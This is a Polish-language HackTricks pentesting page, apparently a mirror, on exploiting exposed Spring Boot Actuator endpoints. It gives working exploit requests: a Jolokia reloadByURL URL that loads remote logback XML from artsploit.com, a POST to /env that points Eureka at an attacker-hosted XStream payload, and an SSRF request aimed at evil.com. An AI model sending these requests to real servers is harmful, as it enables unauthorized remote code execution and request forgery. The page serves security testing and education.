mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
3.5 KiB
3.5 KiB
Spring Actuators
{{#include ../../banners/hacktricks-training.md}}
Spring Auth Bypass

From https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png
Wykorzystywanie Spring Boot Actuators
Sprawdź oryginalny post z [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]
Kluczowe punkty:
- Spring Boot Actuators rejestruje punkty końcowe, takie jak
/health,/trace,/beans,/envitd. W wersjach od 1 do 1.4, te punkty końcowe są dostępne bez uwierzytelnienia. Od wersji 1.5 wzwyż, tylko/healthi/infosą domyślnie nie wrażliwe, ale deweloperzy często wyłączają to zabezpieczenie. - Niektóre punkty końcowe Actuator mogą ujawniać wrażliwe dane lub umożliwiać szkodliwe działania:
/dump,/trace,/logfile,/shutdown,/mappings,/env,/actuator/env,/restart, i/heapdump.- W Spring Boot 1.x, actuatory są rejestrowane pod głównym URL, podczas gdy w 2.x, są pod podstawową ścieżką
/actuator/.
Techniki eksploatacji:
- Zdalne wykonanie kodu przez '/jolokia':
- Punkt końcowy
/jolokiaudostępnia bibliotekę Jolokia, która umożliwia dostęp HTTP do MBeans. - Akcja
reloadByURLmoże być wykorzystana do przeładowania konfiguracji logowania z zewnętrznego URL, co może prowadzić do ślepego XXE lub zdalnego wykonania kodu za pomocą skonstruowanych konfiguracji XML. - Przykład URL exploita:
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml.
- Modyfikacja konfiguracji przez '/env':
- Jeśli obecne są biblioteki Spring Cloud, punkt końcowy
/envpozwala na modyfikację właściwości środowiskowych. - Właściwości mogą być manipulowane w celu wykorzystania luk, takich jak luka deserializacji XStream w usłudze Eureka serviceURL.
- Przykład żądania POST exploita:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
- Inne przydatne ustawienia:
- Właściwości takie jak
spring.datasource.tomcat.validationQuery,spring.datasource.tomcat.url, ispring.datasource.tomcat.max-activemogą być manipulowane w celu różnych exploitów, takich jak SQL injection lub zmiana ciągów połączeń z bazą danych.
Dodatkowe informacje:
- Kompletna lista domyślnych actuatorów jest dostępna tutaj.
- Punkt końcowy
/envw Spring Boot 2.x używa formatu JSON do modyfikacji właściwości, ale ogólna koncepcja pozostaje ta sama.
Pokrewne tematy:
- Env + H2 RCE:
- Szczegóły dotyczące wykorzystywania kombinacji punktu końcowego
/envi bazy danych H2 można znaleźć tutaj.
- SSRF w Spring Boot przez niewłaściwą interpretację nazwy ścieżki:
- Obsługa parametrów macierzowych (
;) w nazwach ścieżek HTTP przez framework Spring może być wykorzystana do Server-Side Request Forgery (SSRF). - Przykład żądania exploita:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
{{#include ../../banners/hacktricks-training.md}}